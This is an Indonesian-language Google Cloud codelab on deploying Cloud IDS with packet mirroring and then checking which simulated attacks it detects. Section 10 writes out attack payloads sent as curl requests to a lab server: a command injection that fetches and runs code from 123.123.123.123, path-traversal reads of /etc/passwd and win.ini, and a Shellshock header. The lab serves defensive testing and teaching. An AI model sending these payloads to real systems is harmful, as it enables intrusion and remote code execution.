Cloud IDS

1. Pengantar

Di lab ini, Anda akan men-deploy Cloud IDS, layanan deteksi penyusupan canggih generasi berikutnya yang menyediakan deteksi ancaman untuk intrusi, malware, spyware, serta serangan perintah dan kontrol. Anda akan melakukan simulasi beberapa serangan dan melihat detail ancaman di Cloud Console.

Yang akan Anda pelajari

  • Cara membuat endpoint Cloud IDS
  • Cara membuat 2 virtual machine dengan perintah gcloud
  • Cara membuat kebijakan duplikasi paket
  • Cara menyimulasikan lalu lintas serangan dari mesin virtual
  • Cara melihat detail ancaman di Konsol Cloud dan Cloud Logging

Yang Anda butuhkan

  • Mengetahui perintah dasar Linux

2. Kasus penggunaan Cloud IDS

Cloud IDS menyediakan Next-Gen Intrusion Detection Service (IDS) berbasis Google Cloud bagi pelanggan untuk memenuhi persyaratan kepatuhan dan deteksi ancaman tingkat lanjut seperti PCI 11.4. Layanan ini didukung oleh teknologi perlindungan ancaman Palo Alto Networks untuk menyediakan deteksi penyusupan tingkat lanjut. Memadukan infrastruktur kelas dunia Google Cloud dengan keamanan kelas dunia dari Palo Alto Networks, pelanggan mendapatkan kombinasi tak tertandingi dari layanan deteksi ancaman tingkat lanjut yang terkelola sepenuhnya, berperforma tinggi, dan efektivitas keamanan tertinggi.

Saat pelanggan bermigrasi ke cloud, keamanan menjadi prioritas mereka. Mereka ingin memiliki kontrol keamanan serupa yang mereka miliki di infrastruktur lokal, seperti Intrusion detection service (IDS) di cloud. Mereka lebih memilih menggunakan solusi IDS terkelola berbasis cloud untuk kemudahan deployment, performa tinggi, dan biaya yang dioptimalkan dibandingkan men-deploy solusi keamanan pihak ketiga dan mengelola infrastruktur atau menggunakan tanda tangan mereka sendiri. Google Cloud IDS menyediakan layanan IDS terkelola end-to-end dan penskalaan otomatis yang memungkinkan pelanggan menghabiskan waktu mereka untuk menganalisis dan memitigasi ancaman, serta menghemat waktu dan sumber daya mereka untuk mengelola tanda tangan infrastruktur atau ancaman.

Cloud IDS di-deploy di luar band dan dapat mendeteksi serta memperingatkan adanya ancaman, tetapi tidak dapat memblokir ancaman. Software ini memanfaatkan Google Cloud Packet Mirroring untuk membuat salinan traffic jaringan yang dianalisis menggunakan mesin pendeteksi ancaman Palo Alto Network.

3. Topologi Codelab

5a276f399e1d31e2.pngS

Gambar 1. Ringkasan arsitektur tingkat tinggi dari deployment Cloud IDS untuk lab ini.

4. Penyiapan dan Persyaratan

Penyiapan lingkungan mandiri

  1. Login ke Google Cloud Console dan buat project baru atau gunakan kembali project yang sudah ada. Jika belum memiliki akun Gmail atau Google Workspace, Anda harus membuatnya.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • Project name adalah nama tampilan untuk peserta project ini. String ini adalah string karakter yang tidak digunakan oleh Google API, dan Anda dapat memperbaruinya kapan saja.
  • Project ID harus unik di semua project Google Cloud dan tidak dapat diubah (tidak dapat diubah setelah ditetapkan). Cloud Console otomatis menghasilkan string unik; biasanya Anda tidak peduli dengan kata-katanya. Pada sebagian besar codelab, Anda harus mereferensikan Project ID (dan biasanya diidentifikasi sebagai PROJECT_ID). Jadi, jika Anda tidak menyukainya, buat ID acak lain, atau, Anda dapat mencoba sendiri dan melihat apakah tersedia. Kemudian file akan "dibekukan" setelah project dibuat.
  • Ada nilai ketiga, Nomor Project yang digunakan oleh beberapa API. Pelajari lebih lanjut ketiga nilai ini di dokumentasi.
  1. Selanjutnya, Anda harus mengaktifkan penagihan di Cloud Console untuk menggunakan API/resource Cloud. Menjalankan operasi dalam codelab ini seharusnya tidak memerlukan banyak biaya, bahkan mungkin tidak sama sekali. Untuk menonaktifkan resource agar tidak menimbulkan penagihan di luar tutorial ini, ikuti petunjuk "pembersihan" yang ada di akhir codelab. Pengguna baru Google Cloud memenuhi syarat untuk mengikuti program Uji Coba Gratis senilai $300 USD.

Mulai Cloud Shell

Meskipun Google Cloud dapat dioperasikan dari jarak jauh menggunakan laptop Anda, dalam codelab ini, Anda akan menggunakan Google Cloud Shell, lingkungan command line yang berjalan di Cloud.

Dari GCP Console, klik ikon Cloud Shell di toolbar kanan atas:

bce75f34b2c53987.png

Hanya perlu waktu beberapa saat untuk penyediaan dan terhubung ke lingkungan. Jika sudah selesai, Anda akan melihat tampilan seperti ini:

f6ef2b5f13479f3a.png

Mesin virtual ini berisi semua alat pengembangan yang Anda perlukan. Layanan ini menawarkan direktori beranda tetap sebesar 5 GB dan beroperasi di Google Cloud, sehingga sangat meningkatkan performa dan autentikasi jaringan. Semua pekerjaan Anda di lab ini dapat dilakukan hanya dengan browser.

5. Sebelum memulai

Mengaktifkan API

Di dalam Cloud Shell, pastikan project ID Anda sudah disiapkan

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Aktifkan semua layanan yang diperlukan

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. Buat jaringan VPC

Jaringan VPC

Dari Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Subnet

Dari Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Akses Layanan Pribadi

Dari Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Koneksi Layanan Pribadi

Dari Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Aturan Firewall

Agar IAP dapat terhubung ke instance VM Anda, buat aturan firewall yang:

  • Berlaku untuk semua instance VM yang Anda inginkan agar dapat diakses dengan menggunakan IAP.
  • Mengizinkan traffic masuk dari rentang IP 35.235.240.0/20. Rentang ini berisi semua alamat IP yang digunakan IAP untuk penerusan TCP.

Dari Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Untuk mengizinkan port HTTP standar (TCP 80) dan protokol ICMP ke server:

  • Berlaku untuk resource dengan tag jaringan "server"
  • Mengizinkan traffic masuk dari semua sumber

Dari Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Membuat instance Cloud NAT

Cloud Router

Dari Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Dari Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Membuat endpoint Cloud IDS

Di bagian ini, Anda akan membuat Endpoint Cloud IDS di us-east1, dengan tingkat keparahan yang ditetapkan ke informasi. Pembuatan endpoint IDS memerlukan waktu sekitar 20 menit.

Endpoint IDS

Dari Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Pastikan endpoint Cloud IDS dimulai

gcloud ids endpoints list --project=$PROJECT_ID

{i>Output<i} -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. Membuat 2 Virtual Machine

Di bagian ini, Anda akan membuat 2 virtual machine. Yang pertama adalah server web Anda yang melakukan pencerminan ke Cloud IDS. Mesin virtual kedua akan menjadi sumber traffic serangan Anda.

Virtual Machine 1 (Server)

Dari Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Virtual Machine 2 (Klien)

Dari Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Menyiapkan Server

Dalam tugas ini, Anda akan memvalidasi server dan menyediakan payload malware yang tidak berbahaya untuk klien.

Jalankan SSH ke VM melalui Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Pastikan layanan web sedang berjalan

sudo systemctl status nginx

Output - pastikan aktif dan berjalan

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Ubah direktori ke layanan web

cd /var/www/html/

Membuat file malware tidak berbahaya di server web

sudo touch eicar.file

Tempelkan konten

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Kembali ke CloudShell

exit

Membuat kebijakan duplikasi paket Cloud IDS

Identifikasi Aturan Penerusan Endpoint IDS dan konfirmasi status Endpoint IDS adalah "READY".

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Contoh Output - Salin nilai dari "endpointForwardRule"

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Simpan Aturan Penerusan Endpoint IDS ke variabel.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Kebijakan Duplikasi Paket

Dari Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Memastikan kebijakan duplikasi paket dibuat

Dari Cloud Shell

gcloud compute packet-mirrorings list

Output

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Menyimulasikan lalu lintas serangan

SSH ke virtual machine penyerang (Klien)

Dari Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Jalankan permintaan curl berikut untuk menyimulasikan traffic berbahaya.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

Keluar dari VM untuk kembali ke CloudShell

exit

11. Meninjau ancaman yang terdeteksi oleh Cloud IDS

Buka Dasbor Cloud IDS

Menu Navigasi > Keamanan Jaringan > Cloud IDS

37583419aa604aa8.png

Buka tab Ancaman.

b7d934f409b4e2b.png

Seperti yang dapat dilihat, Cloud IDS mengambil berbagai profil lalu lintas serangan dan memberikan detail tentang setiap ancaman. Anda mungkin perlu mengklik tombol "Refresh" jika Anda tidak melihat ancaman apa pun. Sekarang kita akan membahas lebih jauh dan melihat detail ancaman.

Cari "Kerentanan Bash Remote Code Execution" ancaman, klik ikon tiga titik di sebelah kanan, lalu pilih "Lihat detail ancaman"

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Sekarang kita akan melihat detail insiden ini di Cloud Logging. Kembali ke halaman Ancaman dengan mengklik panah yang menunjuk ke kiri .

Klik titik tiga di sebelah kanan dan pilih "View security logs"

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Detail yang sama diberikan untuk Cloud Logging. Tindakan ini memungkinkan Anda mengirim log ke Cloud Storage, Chronicle, atau SIEM/SOAR apa pun. Anda juga dapat membuat alur kerja kustom untuk mengambil tindakan perbaikan berdasarkan notifikasi, mis. membuat fungsi cloud yang terpicu saat menerima pemberitahuan dan membuat/memperbarui aturan firewall untuk memblokir alamat IP, atau membuat/memperbarui kebijakan Cloud Armor.

12. Langkah-langkah pembersihan

Keluar dari instance VM (semua tab)

exit

Dari satu terminal Cloud Shell, hapus komponen lab

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Selamat!

Selamat, Anda telah menyelesaikan codelab.

Yang telah kita bahas

  • Kasus penggunaan Cloud IDS
  • Persyaratan jaringan
  • API yang didukung
  • Endpoint Cloud IDS berhasil dibuat
  • 2 VM di-deploy
  • Menghasilkan beberapa "serangan" traffic dari klien
  • Ancaman yang diverifikasi terdeteksi oleh IDS
  • Meninjau detail dan log ancaman